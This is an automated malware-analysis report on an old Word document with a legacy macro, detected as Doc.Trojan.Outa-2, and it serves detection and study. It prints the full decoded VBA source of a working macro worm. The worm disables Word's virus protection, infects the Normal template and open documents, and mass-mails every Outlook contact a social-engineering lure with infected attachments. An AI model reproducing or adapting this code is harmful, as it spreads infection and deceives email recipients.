Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8ddf8e041a55375b…

MALICIOUS

Office (OLE)

35.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-10-10
MD5: cf2755b02c436b53fad81d2e475d1cc8 SHA-1: 14cdafac8cf32b5e6b1499adf4072eb45023a8f3 SHA-256: 8ddf8e041a55375b564fa60de4c5e231c753af638fca96d2b15f1bb9d8b83c7b
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1505.003 Server Software Component: Service Execution

The sample contains a legacy WordBasic AutoOpen macro, which is a strong indicator of malicious intent. The macro attempts to export VBA code to a file named 'win32k.dll' and potentially spread itself to other documents and the Normal template. This behavior suggests an attempt to establish persistence or facilitate further infection.

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2389 bytes
SHA-256: 9187dc330efa769b8c10ea752ea5936640d086a0cebf4ca580e474714afc9662
Detection
ClamAV: Doc.Trojan.Outa-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.SaveNormalPrompt = False
Options.VirusProtection = False
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Module1", Object:=wdOrganizerObjectProjectItems
End Sub
Sub FileSave()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set DirSys = fso.GetSpecialFolder(1)
vcode = DirSys & "\win32k.dll"
ThisDocument.VBProject.VBComponents(2).Export (vcode)
If NormalTemplate.VBProject.VBComponents.Count = 2 Then
    NormalTemplate.VBProject.VBComponents(2).Export (vcode)
End If
For i = 1 To Documents.Count
    installed = False
    If Documents(i).VBProject.VBComponents.Count = 2 Then
        If Documents(i).VBProject.VBComponents(2).Name = "Module1" Then
            installed = True
        End If
    End If
    If installed = False Then
        Documents(i).VBProject.VBComponents.Import (vcode)
        Documents(i).Save
    End If
Next
If ActiveDocument.VBProject.VBComponents.Count = 2 Then
    If ActiveDocument.VBProject.VBComponents(2).Name = "Module1" Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Module1", Object:=wdOrganizerObjectProjectItems
    End If
End If
NormalTemplate.Save
Set Outlook = CreateObject("Outlook.Application")
Set mapi = Outlook.GetNameSpace("MAPI")
ThisDocument.Save
doc = ThisDocument.FullName
For i = 1 To mapi.AddressLists.Count
    Set a = mapi.AddressLists(i)
    For x = 1 To a.AddressEntries.Count
        Set newMail = Outlook.CreateItem(0)
        newMail.Recipients.Add (a.AddressEntries(x))
        newMail.Subject = "You should look at this"
        newMail.Body = "Hello," & vbCrLf & "I found these files on my HDD and it seems it's yours. Please check them out and give me know." & vbCrLf & "Thank you."
        newMail.Attachments.Add (DirSys & "\next.exe")
        newMail.Attachments.Add (doc)
        newMail.Send
    Next
Next
End Sub